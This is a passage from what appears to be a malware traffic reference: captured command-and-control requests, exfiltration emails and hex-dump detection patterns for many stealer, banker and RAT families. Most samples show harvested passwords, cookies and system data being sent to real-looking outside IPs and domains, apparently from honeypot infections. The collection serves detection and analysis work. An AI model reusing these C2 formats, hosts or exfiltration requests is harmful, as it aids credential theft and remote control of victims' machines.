>8V.!.3
]30,
V....[.1..4h.-,.P....]. /;.b...N...:E8.4..Me";3..Q.}0m .>)&A.'9.P6'D.S.0..(_~!,..hQ|y.zfR^~.gwpO h[~p.IfP_M.arwL.QZ|
~~~
~~~
GET /admtest/configuration.php?botid=BEF522C314BC1291311131 HTTP/1.1
Host: 213.226.100.184
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 13 Jul 2020 08:26:56 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
~~~
#### KrugBot
~~~
POST /absc/index.php HTTP/1.0
Host: raiseyourdongers.wtf
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 224
tSVkhHUFWeXjujTxCNBQl7h1QW2zElMRx+g8ceDNF/4mUj4PV8MaCjFjhqCGYGprTPLjXu5i
w+xWBGqDB44jDCJcr66AgCqhZYhj04B5PCPqMNaf8It2IfuX9Ffysaqp+tjcUhGW3JH1nJk8
ud1kko0C6+v/tp2PLOVR0ac3GacRi0dUf/+ASue6AJNOfh4WliURnubviRXJkcj+5f7vA3Xa
jg==
~~~
#### Krypton Stealer
~~~
POST /connect_meta.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Client
Host: orl05511cn.temp.swtest.ru
Content-Length: 26
Cache-Control: no-cache
id=01&message=test_message
~~~
#### Lazagne
~~~
POST /te.php HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------58748130728276
User-Agent: Mozilla/5.0 Gecko/20100115 Firefox/3.6
Host: 185.86.148.123
Content-Length: 1526
Cache-Control: no-cache
-----------------------------58748130728276
Content-Disposition: form-data; name="userfile"; filename="admin-USER-PC-passwords.txt"
Content-Type:application/x-gzip
########## User: admin ##########
------------------- Firefox passwords -----------------
[+] Password found !!!
URL: https://m.facebook.com
Login: honey@pot.com
Password: honeypass356
------------------- Outlook passwords -----------------
[-] Password not found !!!
Account Name: honey@pot.com.
POP3 User: honey@pot.com.
POP3 Server: 192.168.1.1.
u'Delivery Store EntryID: \x00\x00\ua138\u10bb\ue505\u1a10\ubba1\x08\u2a2b\uc256\x00\u736d\u7370\u2e74\u6c64l\x00\x00\u494e\u4154\ubff9\u01b8\uaa00\u3700\u6ed9\x00\x00C:\\Users\\admin\\Documents\\Outlook Files\\honey@pot.com.pst\x00'
SMTP Secure Connection: 0
SMTP Server: 192.168.1.1.
Mini UID: 224868084
'Delivery Folder EntryID: \x00\x00\x00\x00\x81 \xa1\x9f\x92\x06>N\x9c\xc7t\xd9H\xba>f\x82\x80\x00\x00'
u'clsid: \u457b\u3444\u3537\u3134\u2d31\u3042\u3644\u312d\u4431\u2d32\u4338\u4233\u302d\u3130\u3430\u3242\u3641\u3736\u7d36'
Display Name: HoneyPot Mail.
POP3 Password: honeypass356.
Email: honey@pot.com.
u'Leave on Server: \u3139\u3537\u3730'
------------------- Google chrome passwords -----------------
[+] Password found !!!
URL:
Login: honey@pot.com
Password: honeypass356
[+] 3 passwords have been found.
For more information launch it again with the -v option
elapsed time = 0.84299993515
-----------------------------58748130728276--
HTTP/1.1 200 OK
Date: Tue, 29 Oct 2019 21:10:11 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 1
Content-Type: text/html; charset=UTF-8
~~~
#### Loda
I've never seen this without the beta flah
~~~
x|lugocv|x|admin|WIN_7|X86| |Disabled|1.1.2|ddd|Pr720X21280X3|Desktop|0|beta
ZeXro0
~~~
#### Lokibot
follw tcp stream, not http stream in wireshark
~~~
POST /sky/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: fueda.info
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: 8DAA705A
Content-Length: 176
Connection: close
..'.......ckav.ru..
...a.d.m.i.n.......U.S.E.R.-.P.C.......U.S.E.R.-.P.C......................+................0...8.5.6.9.A.A.F.F.6.3.A.A.A.7.1.D.8.0.4.0.0.E.2.5.....Rqbay....
~~~
#### Metamorpho/Metamorfo BR Banker
~~~
POST / HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 249
Host: 18.217.112.176
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
spxndja=HERETEVFDEVFJERERFEERFFEXERFJFGFKER&kfcemfgj=CCO&gvtsavp=EFMFM&ixjpblda=HEDEEDOEGDODXCPDKDMDMDYEFDXEEDSCMEHFAFFCCDACMCTCSCMDCCXCQCSDUDLCMCMDOFFEXFDFAFKEYCCCKEFFFFAFLEVEUCCEDFLERFLEVFKCLCMCMEHFAFFEUFGFOFKCCDNEVEWEVFFEUEVFJCMCYCWDLCM&xhwen=YDL
HTTP/1.1 200 OK
Date: Fri, 19 Jul 2019 15:18:12 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
HTTP/1.1 200 OK
Date: Fri, 19 Jul 2019 15:18:12 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
~~~
~~~
POST /hooponopono/puma.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 158
Host: leavenois.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/3.0 (compatible; Indy Library)
vv=OP22--22-10&vw=&mods=&uname=VVNFUi1QQw%3D%3D&cname=Ti05Ng%3D%3D&os=V2luZG93cyA3IFByb2Zlc3Npb25hbDYuMTc2MDEtNjQ%3D&is=&iss=SUUuQXNzb2NGaWxlLkhUTQ%3D%3D&iav=
HTTP/1.0 200 OK
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Date: Tue, 22 Oct 2019 20:06:32 GMT
Server: LiteSpeed
~~~
#### Micropsia
~~~
POST /api/white_walkers/new HTTP/1.1
Connection: KeepAlive
Content-Type: multipart/form-data; boundary=--------121819110609549
Content-Length: 818
Cache-control: no-store
Host: accountforuser.website
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
----------121819110609549
Content-Disposition: form-data; name="daenerys"
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
SkVOTklGRVItUENfSmVubmlmZXJfNUZ0MzNidWxETUMybzVG
----------121819110609549
Content-Disposition: form-data; name="betriebssystem"
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
Windows 7 Service Pack 1 (Version 6.1, Build 7601, 64-bit Edition)
----------121819110609549
Content-Disposition: form-data; name="anwendung"
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
ExecuteLibrary.exe v2.0.0
----------121819110609549
Content-Disposition: form-data; name="AV"
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
No Instance(s) Available.
----------121819110609549--
~~~
#### MilkyBoy
~~~
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
User-Agent: Adzq41ceq52e353512hSfj
Content-Length: 45
Host: qqwveqwevqwe.duckdns.org:10
key:Adz32151295uy129v5nqwrnvqwkjn5rv12n5vhSfj
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 8593928
Server: Werkzeug/0.15.4 Python/2.7.6
Date: Wed, 09 Oct 2019 22:09:57 GMT
TVqQAAMAAAAEAAAA/
POST / HTTP/1.1
Host: qqwveqwevqwe.duckdns.org:10
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.11.1
key: Adz32516047vhSfj
filename: 58759853857.zip
Content-Length: 5334
Content-Type: multipart/form-data; boundary=80790cc2554f462cb375dcc301f5c66a
--80790cc2554f462cb375dcc301f5c66a
Content-Disposition: form-data; name="payload"; filename="payload"
PK........G.IO............
...PASSWORDS/PK........G.IO+&.6v...........e.txt=.I.. .....Wx./X....%......g[VN6A...z~......x}....xH......*b....<@.W.P..X......,|*.]$..
}..%. .C{....7.W......Bas.....PK........I.IO................sys.txt].Ok.@....|..S...&jho.B..........R.[.OK(..].K.2.7.73o~...'..6D.>q....U..u.. .W..x.0....=.T.#...<0"....W.k.. .;..J1.q;X.{kz..S;_.f.t...D..Gh@......Q.v@G=}....m"...............Yy..!1U...i.xe...B.T%.. {5.....m...3.>....3.J..]Vh......&Y.@.8...T~1B!....l
kk.:......m$....B.._.E........PK........G.IO................PASSWORDS/CBase/PK........G.IO................PASSWORDS/FBase/PK........G.IO................PASSWORDS/CBase/Google/PK........G.IO).L
........#...PASSWORDS/CBase/Google/cookies.json....PK........G.IO".......[...)...PASSWORDS/CBase/Google/loginpasswords.txt...=..r.. -N-*.IL....q,(pI,I...ON..q..O.I.q.(..M..S.....%....U.g...x...Z.sy...2......(X).r.......
.d...V:....%...r.$.......d@|cS3...PK........G.IO."{.o...C..."...PASSWORDS/CBase/Google/webdata.txt...=..r.. -N-*.IL....q,(pI,I...ON..q..O.I.q.(..M..S.....%......&..x...V.cy..2..K..sS.....2Ss@..\>.P........b.0.PK........G.IO................PASSWORDS/FBase/Mozilla/PK........G.IOp.0.$.......$...PASSWORDS/FBase/Mozilla/cookies.json..Mk.@.....!......$......Vl$..~.......-..j-...R/s.y..}.....8..q.zm.[..n.~U..e).z..7.7..............
...^z.6..t#....(@W.r43...U.iT.-.....%6.....1......}5......iG..Ut.i|".I....$...~...Q.yr_.....tA."..
@.p...',.!O!e..T.v.6..T.hEY*..H..Sq)....L......~...CD....E.0..Sa.T ..`b.J*i...G..."xpF.......PK........o.)M0..W............PASSWORDS/FBase
~~~
#### MirageFox
~~~
POST http://172.16.100.1/result%3Fhl%3Den%26meta%3Dghumeaylnlfdxfircvscxggbwkfnqdu HTTP/1.0
Accept: *.*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
Proxy-Connection: Keep-Alive
Content-Length: 528
Encoding: gzip, deflate
Accept-Language: en-us
Host: 172.16.100.1
~~~
#### Nanocore
flag on "38 00 00 00 17" pattern
~~~
00000000 38 00 00 00 17 f5 4b 2c c3 65 ca 9f eb bc fd 67 8.....K, .e.....g
00000010 ad 6d 0e c4 33 7d b6 40 17 17 97 a1 d9 7c 3c b3 .m..3}.@ .....|<.
00000020 04 ea d0 16 f2 cf 3e 51 29 18 55 e5 1c 7a 6a 91 ......>Q ).U..zj.
00000030 03 99 38 f7 ac 3b f7 89 85 2e c4 d8 ..8..;.. ....
~~~
flag on "40 00 00 00 17" pattern:
~~~
00000000 40 00 00 00 17 f5 4b 2c c3 65 ca 9f eb bc fd 67 @.....K, .e.....g
00000010 ad 6d 0e c4 33 7d b6 40 17 17 97 a1 d9 7c 3c b3 .m..3}.@ .....|<.
00000020 04 ea d0 16 87 30 8f fa 78 9d 2a 01 c2 51 ee 07 .....0.. x.*..Q..
00000030 bd e7 23 95 3e ab a1 04 ca 56 b3 fb b7 9b b7 3a ..#.>... .V.....:
00000040 13 e5 2b 52 ..+R
~~~
flag on "50 00 00 00 82" pattern:
~~~
00000000 50 00 00 00 82 c8 36 7a 87 1b 91 70 6b 20 7f 17 P.....6z ...pk ..
00000010 ea 86 3a e9 07 fc 40 ae 0f ac bc f5 f2 6d f3 98 ..:...@. .....m..
00000020 71 7a 0b 19 4c 8e 58 bb 6c 69 5a 99 55 4a 72 c6 qz..L.X. liZ.UJr.
00000030 92 ed 39 fe 74 2a 9d b4 09 ca 5a 4a 83 dc 99 16 ..9.t*.. ..ZJ....
00000040 0a ea 28 ad ba f6 87 d0 b7 4d 45 78 6a 71 84 19 ..(..... .MExjq..
00000050 34 cc c6 79 4..y
~~~
#### NetSupport RAT
~~~
POST http://179.43.159.246/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Host: 179.43.159.246
Connection: Keep-Alive
CMD=POLL
INFO=1
ACK=1
HTTP/1.1 200 OK
Server: NetSupport Gateway/1.6 (Windows NT)
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Connection: Keep-Alive
CMD=ENCD
ES=1
DATA=.g+$.{.. \....W...bb...).w}..o..X..xf...
POST http://179.43.159.246/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 232
Host: 179.43.159.246
Connection: Keep-Alive
CMD=ENCD
ES=1
DATA=u.2h.r..4.]..%y-.....=I...D3.W..i.7?....=@....F.f....&t.[..6ra..L.....?....>......5T.m.<..O....a.g.qwjW..I{~i...1......\.bH8Z&8.|gY@:......7. .\.(.K(...oC.x.m-.o.D.t....Lv...{.............=J.J...f.V=@.`t..i......
POST http://179.43.159.246/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Host: 179.43.159.246
Connection: Keep-Alive
CMD=ENCD
ES=1
DATA=l3.<(T{.E.....V....k.9|||$(m..$C.M..=I0`!.....^.....?sq.
~~~
#### Netwire
flag on "41 00 00 00 99" pattern in initial packet
~~~
00000000 41 00 00 00 99 80 3a e0 e8 5f d7 ea 8c af 76 cc A.....:. ._....v.
00000010 c4 cc ad 5a 10 72 cc d0 5e 64 d8 50 80 fc b6 e6 ...Z.r.. ^d.P....
00000020 54 25 bf e0 ea 7f 7b e4 ff 54 70 e8 eb c0 fa 80 T%....{. .Tp.....
00000030 a0 a0 f3 a0 b0 0a 94 04 84 31 7c 3f e7 8c 90 c5 ........ .1|?....
00000040 ce c4 11 97 d9 .....
~~~
#### Neutrino
~~~
POST /panel/52/tasks.php HTTP/1.0
Host: slipcentral.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/38.0
Content-type: application/x-www-form-urlencoded
Cookie: auth=bc00595440e801f8a5d2a2ad13b9791b
Content-length: 180
_wv=Y21kJjkwMDU5YzM3LTEzMjAtNDFhNC1iNThkLTJiNzVhOTg1MGQyZiZZV1J0YVc0Z09pQlZVMFZTTFZCRElEb2dWVk5GVWkxUVF3JTNEJTNEJldpbmRvd3MlMjA3JTIwKDMyLWJpdCkmMCZOJTJGQSY1LjEmMDguMTAuMjAxOSZOT05FHTTP/1.0 404 Not Found
Connection: close
X-Powered-By: PHP/5.6.40
Content-Type: text/html; charset=UTF-8
Content-Length: 1251
Date: Tue, 08 Oct 2019 00:52:53 GMT
Server: LiteSpeed
Vary: User-Agent
404 Not Found
Not Found
The requested URL /panel/52/tasks.php was not found on this server.
Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.
~~~
#### Nukesped
~~~
POST /list.php?v=1530 HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=FE4149CA-3412-4743-9789-F6C0D0371C4F
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Length: 385
Host: lastedforcast.com
--FE4149CA-3412-4743-9789-F6C0D0371C4F
Content-Disposition: form-data; name="_media_1"
15868
--FE4149CA-3412-4743-9789-F6C0D0371C4F
Content-Disposition: form-data; name="_media_2"
16
--FE4149CA-3412-4743-9789-F6C0D0371C4F
Content-Disposition: form-data; name="file"; filename="Sy2LbbDxqF1W.img"
Content-Type: octet-stream
--FE4149CA-3412-4743-9789-F6C0D0371C4F--
HTTP/1.1 200 OK
Date: Fri, 12 Jun 2020 03:32:37 GMT
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.31
X-Powered-By: PHP/7.2.31
Content-Length: 1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
0
~~~
#### Orcus RAT
Machine name is SNI
~~~
....j...f..].....*".....L...^...xG.F..... ...../.5...
..... .
.2.8.......%..........
...USER-PC.
......................M..]......~$....q.....d..o..t{8Y..& V5.....Xj..[...d.'v...3Y..9...}.....................0...0..0.......GY.I..l.C.!d.((n0
. *.H..
.....0!1.0...U....OrcusServerCertificate0 .
181004205345Z..20691004205345Z0!1.0...U....OrcusServerCertificate0..0
. *.H..
.........0..........C.}q.
.%/.J..U..+U!...Zk.&5.". .on......w..NA..n..... ...ZM!...g..]....]Z...,
~h..?.......i'........u..... .r.|.o....2..A1KU.....0
. *.H..
...........}.#zu....*...eW.+..c8..qk^.8....F..S"u.:..=...C .K.z....P...Y..M[..d.2p..U....O=.|*4-....S;.b...I......1t.~Z..e.ETxk...r(u_g........a...?.y$t..LR.:..>...3j..gT .....DJH..N.MJD.eb...I...}.V^5a...\@.S..........4..u_...l$y....k*......|...D..Z
.8S...i..z.9.&..5F.......A..V.c\.{..I...1|.W..td?...Y.....
~~~
#### Origin Keylogger
~~~
From: sp@globalfinancel.com
To: new@globalfinancel.com
Date: 17 Oct 2019 15:03:43 +0000
Subject: admin/USER-PC Recovered Accounts
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
Time: 10/17/2019 15:03:33
UserName: admin
ComputerName: USE=
R-PC
OSFullName: Microsoft Windows 7 Professional
CPU: Int=
el(R) Core(TM) i5-6400 CPU @ 2.70GHz
RAM: 4095.61 MB
IP: 18=
5.117.118.92=0A
URL: https://www.facebook.com/
=0D=0AU=
sername: honey@pot.com
=0D=0APassword: honeypass356
=0D=0AA=
pplication: Chrome
=0D=0A
=0D=0AURL: 192.168.1.1
=0D=0A=
Username: honey@pot.com
=0D=0APassword: honeypass356
=0D=0A=
Application: Outlook
=0D=0A
=0D=0A
From: sp@globalfinancel.com
To: new@globalfinancel.com
Date: 17 Oct 2019 15:03:43 +0000
Subject: admin/USER-PC Recovered Cookies
Content-Type: multipart/mixed;
boundary=--boundary_0_33ca7fc1-78dd-4797-bb1b-819697f17244
----boundary_0_33ca7fc1-78dd-4797-bb1b-819697f17244
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
Time: 10/17/2019 15:03:34
UserName: admin
ComputerName: USE=
R-PC
OSFullName: Microsoft Windows 7 Professional
CPU: Int=
el(R) Core(TM) i5-6400 CPU @ 2.70GHz
RAM: 4095.61 MB
IP: 18=
5.117.118.92=0A
----boundary_0_33ca7fc1-78dd-4797-bb1b-819697f17244
Content-Type: application/octet-stream; name=4dz3xb0p.hda.zip
Content-Transfer-Encoding: base64
Content-Disposition: attachment
UEsDBBQAAAgIAIRp/k5nVtI5VAoAAABwAAAjAAAANGR6M3hiMHAuaGRhL0Nocm9tZS9E
~~~
#### Oski Stealer
~~~
POST /main.php HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 25
Host: gewe.tech
Connection: Keep-Alive
Cache-Control: no-cache
--1BEF0A57BE110FD467A--
HTTP/1.1 200 OK
Connection: Keep-Alive
X-Powered-By: PHP/7.2.26
Content-Type: text/html; charset=UTF-8
Content-Length: 102
Content-Encoding: gzip
Vary: Accept-Encoding
Date: Wed, 26 Feb 2020 11:23:13 GMT
Server: LiteSpeed
1;USERPROFILE\Downloads;*.dat,*.key,*.txt;1;LOCALAPPDATA\;*.dat,*.key,*.txt;1;APPDATA\;*.dat,*.key,*.txt;1;USERPROFILE\Documents;*.dat,*.key,*.txt;1;USERPROFILE\Desktop;*.dat,*.key,*.txt;
POST / HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 60097
Host: gewe.tech
Connection: Keep-Alive
Cache-Control: no-cache
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="file"; filename="_4052981232.zip"
Content-Type: zip
PK.........ZZP..*.#...&..."...autofill/Google Chrome_Default.txtUT
..!UV^!UV^!UV^s.,*..K.M.tOL*.L....I...%..e....r..PK.........ZZP............-...autofill/Mozilla Firefox_qldyz51w.default.txtUT
..!UV^!UV^!UV^..PK.........ZZP................cc/Google Chrome_Default.txtUT
..!UV^!UV^!UV^..PK.........ZZP............!...cookies/Google Chrome_Default.txtUT
..!UV^!UV^!UV^..PK.........ZZP..).........,...cookies/Mozilla Firefox_qldyz51w.default.txtUT
..!UV^!UV^!UV^..KK.@...S.OI.{..YV.....5%.2.....vb...T..B.\]8........y..{.7....67.....\(..&C%:..F&.Ce.P5..k.#q.....b..?.`Y...kyW.Sv.B..Z.R=...[o..z^..uiR.-.eg..p.@g.....Y*..|...Q...cU..9R.J.
)....r...!....
Y.<.4.Pg...5..4"........@..]a.t.1.*. *D..v<....._/..._ .......r......L"&.$C...x..PK.........ZZP8G..........
...passwords.txtUT
..!UV^ UV^ UV^...w.RpIMK,.)..
.w..Rp..O.IUp.(..M......
f....[.....%&.&..g.%....r........R+.
.K@..\....P....bcS3^..(......*S.r..Tk}..2sr...2.R..+`..d..PK.........ZZP.dwtv...T.......screenshot.jpgUT
..&UV^&UV^&UV^..u\TQ.5.. .."8 .. ... .CJJHJ..R
.#...C.t.Jww..t.{...}?....}...9...93..k.u]{....,.....$.....
......C....q........w0...X..a..=....S.....R...S>~BMJ............O... +..3.$(w.....E..M.........W...;....4...T\.4\..F...............B..q...=.A...*
...-4t.[.....~.-\t<*......b<..>. .~.Z...>.o......]L.G.D..t...L.\.<.|../$$..edU..54.^j...653..t|............._.a...Q.1.bSR.....Y.E.%.e...U.....[Z.......GF........W.................\........\...[h.0..BA}.6...N.~...
......|.@.B....K....7r..$....../
ye..]......?......`..._...D......s..7.....yFo.......S* ....z..z.%^.~..8.... ....&T<.s.<..s.2.y}[..L.....i...4..h..+..
b6.Z.....U,.z0Xn.........K8.]...m_4..@...R.....Z..W.N...k~....+.....|....; *...6W'.....1f.....Y....,.5>!...m...7
.R'.f.E.`.M.,k..< ua..W.D.+.Q.W .q......d...k.
...system.txtUT
i...PK.........ZZP................_1.zipUT
..&UV^!UV^!UV^PK....................PK...........ZZP..*.#...&...". ....... .......autofill/Google Chrome_Default.txtUT...!UV^PK...........ZZP............-. ....... ...t...autofill/Mozilla Firefox_qldyz51w.default.txtUT...!UV^PK...........ZZP.............. ....... .......cc/Google Chrome_Default.txtUT...!UV^PK...........ZZP............!. ....... .......cookies/Google Chrome_Default.txtUT...!UV^PK...........ZZP..).........,. ....... ...q...cookies/Mozilla Firefox_qldyz51w.default.txtUT...!UV^PK...........ZZP8G..........
. ....... .......passwords.txtUT...!UV^PK...........ZZP.dwtv...T..... ....... .......screenshot.jpgUT...&UV^PK...........ZZP.pv.r... 2..
. ....... ...S...system.txtUT...&UV^PK...........ZZP.............. ....... ......._1.zipUT...&UV^PK...... . .....I.....
--1BEF0A57BE110FD467A--
HTTP/1.1 200 OK
Connection: Keep-Alive
X-Powered-By: PHP/7.2.26
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Date: Wed, 26 Feb 2020 11:23:19 GMT
Server: LiteSpeed
~~~
#### Ostap
~~~
POST /angola/mabutu.php?pi=29h&tan=cezar&z=662343339&n=0&u=20&an=9468863238 HTTP/1.1
Connection: Keep-Alive
Content-Type: text/plain; Charset=UTF-8
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Content-Length: 1034
Host: 185.180.199.91
Microsoft Windows 7 Professional 6.1.7601*Locale:0409
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sent64.jse
USER-PC*DELL*DELL*0
System Idle Process*null
System*null
smss.exe*null
csrss.exe*null
wininit.exe*null
csrss.exe*null
winlogon.exe*null
services.exe*null
lsass.exe*null
lsm.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
spoolsv.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
dwm.exe*C:\Windows\system32\Dwm.exe
explorer.exe*C:\Windows\Explorer.EXE
taskhost.exe*C:\Windows\system32\taskhost.exe
SearchIndexer.exe*null
qemu-ga.exe*null
audiodg.exe*null
WmiPrvSE.exe*null
SearchProtocolHost.exe*null
windanr.exe*C:\Windows\system32\windanr.exe
OSPPSVC.EXE*null
wscript.exe*C:\Windows\system32\wscript.exe
wscript.exe*C:\Windows\system32\wscript.exe
SearchFilterHost.exe*null
WINWORD.EXE*C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
WmiPrvSE.exe*null
~~~
~~~
https://51.83.206.98/1/1.php?g=m4&b=4a01758c&c=ACCOUNTDOMAIN@@LARRY-ACCOUNTIN@@Larry@@*172.16.0.2%3A%3A%5B00000001%5D%20Intel%28R%29%20Ethernet%20Connection%20I217-LM&233137
https://45.128.134.14/C821al/vc2Tmy.php?h=m2&j=4a01758c&l=ACCOUNTDOMAIN@@LARRY-ACCOUNTIN@@Larry@@*172.16.0.2%3A%3A%5B00000001%5D%20Intel%28R%29%20Ethernet%20Connection%20I217-LM&13742148
~~~
#### Ousaban (banker)
~~~
#PRINCIPAL##Convite##ConvitRC#<#>Windows 10 Pro<#>DESKTOP-JGLLJLD<#>Nao<#>Windows Defender#SocketMain#<#>723442#UploadFile##RECEBENDO#<#>DESKTOP-JGLLJLD#ON-LINE##strPingOk##ON-LINE##strPingOk##ON-LINE##strPingOk##PLUGIN#<#>Nao#ON-LINE##strPingOk##COMPLETOU#<#>DESKTOP-JGLLJLD
~~~
#### Parallax RAT
~~~
00000000 04 c7 86 72 fd 82 d3 50 88 03 b3 9f bc 7f b1 f3 ...r...P ........
00000010 2f 44 27 83 80 9d ab d2 22 72 ff 33 88 8f 85 17 /D'..... "r.3....
00000020 fd af c9 1e 5e c9 68 88 70 a6 27 7e 6f 95 7b d5 ....^.h. p.'~o.{.
00000030 ed 48 fd 08 40 83 c2 36 c8 82 e4 50 6a f0 4e 9f .H..@..6 ...Pj.N.
00000040 8a 7f eb f3 42 44 64 83 c8 9d e1 d2 65 72 bc 33 ....BDd. ....er.3
00000050 fe 8e aa 17 b4 af 88 1e 16 c9 25 88 29 a6 6b 7e ........ ..%.).k~
00000060 26 95 4e d5 db 48 cc 08 3e d7 f8 0c 44 6e ff 59 &.N..H.. >...Dn.Y
00000070 79 dc 64 86 8b c1 cd a6 64 c0 da 77 bf 95 77 dd y.d..... d..w..w.
00000080 7c a0 d5 f0 71 34 56 b2 80 d8 1e b6 89 22 cf 8b |...q4V. ....."..
00000090 55 e4 05 4b 7b 6d 07 ef 93 6d f2 f3 4d ee ee 23 U..K{m.. .m..M..#
000000A0 8f 26 b1 7d 98 34 ae e7 26 08 d4 e8 1d 28 21 2a .&.}.4.. &....(!*
000000B0 35 3b c6 0c 01 01 6c ed 54 a4 a0 2f a2 ef e0 1d 5;....l. T../....
000000C0 ce 34 b7 55 f8 2f fb 23 e9 50 cf e2 3a 35 50 bb .4.U./.# .P..:5P.
000000D0 85 04 0a 91 c3 91 64 54 52 63 1f 8a 41 3a 25 d9 ......dT Rc..A:%.
000000E0 bf da af 3b ea 73 0b 9c 1f 58 02 f2 97 83 10 7b ...;.s.. .X.....{
000000F0 96 4a 7a 57 8a 38 54 76 c9 fa 6a 41 25 8a 10 37 .JzW.8Tv ..jA%..7
00000100 03 52 d8 ca 85 2c 06 83 e3 ef 76 de 40 66 6c f0 .R...,.. ..v.@fl.
00000110 a2 68 39 9a ef 9e 7d 93 56 99 e9 2a .h9...}. V..*
00000000 04 c7 86 72 d6 82 d3 50 e5 a4 56 9f bc 7f b1 f3 ...r...P ..V.....
00000010 2f 44 27 83 80 9d ab d2 aa 2b f8 35 a0 8e 85 17 /D'..... .+.5....
00000020 fd af c9 1e 5e c9 68 88 70 a6 27 7e 6f 95 7b d5 ....^.h. p.'~o.{.
00000030 ed 48 fd 08 .H..
0000011C 04 c7 86 72 d7 82 d3 50 e5 a4 56 9f a0 89 20 f3 ...r...P ..V... .
0000012C 2f 44 27 83 80 9d ab d2 22 72 ff 33 02 8e 85 17 /D'..... "r.3....
0000013C fd af c9 1e 5e c9 68 88 70 a6 27 7e 6f 95 7b d5 ....^.h. p.'~o.{.
0000014C ed 48 fd 08 fe 7c 59 c9 91 82 ba 50 4d f0 4b 9f .H...|Y. ...PM.K.
0000015C cf 7f c5 f3 5d 44 46 83 f4 9d c4 d2 50 72 c5 33 ....]DF. ....Pr.3
0000016C b4 8e c6 17 c7 af 95 1e 09 c9 01 88 1e a6 43 7e ........ ......C~
0000017C 00 95 0c d5 9e 48 a1 08 7f d7 b1 0c 05 6e b9 59 .....H.. .....n.Y
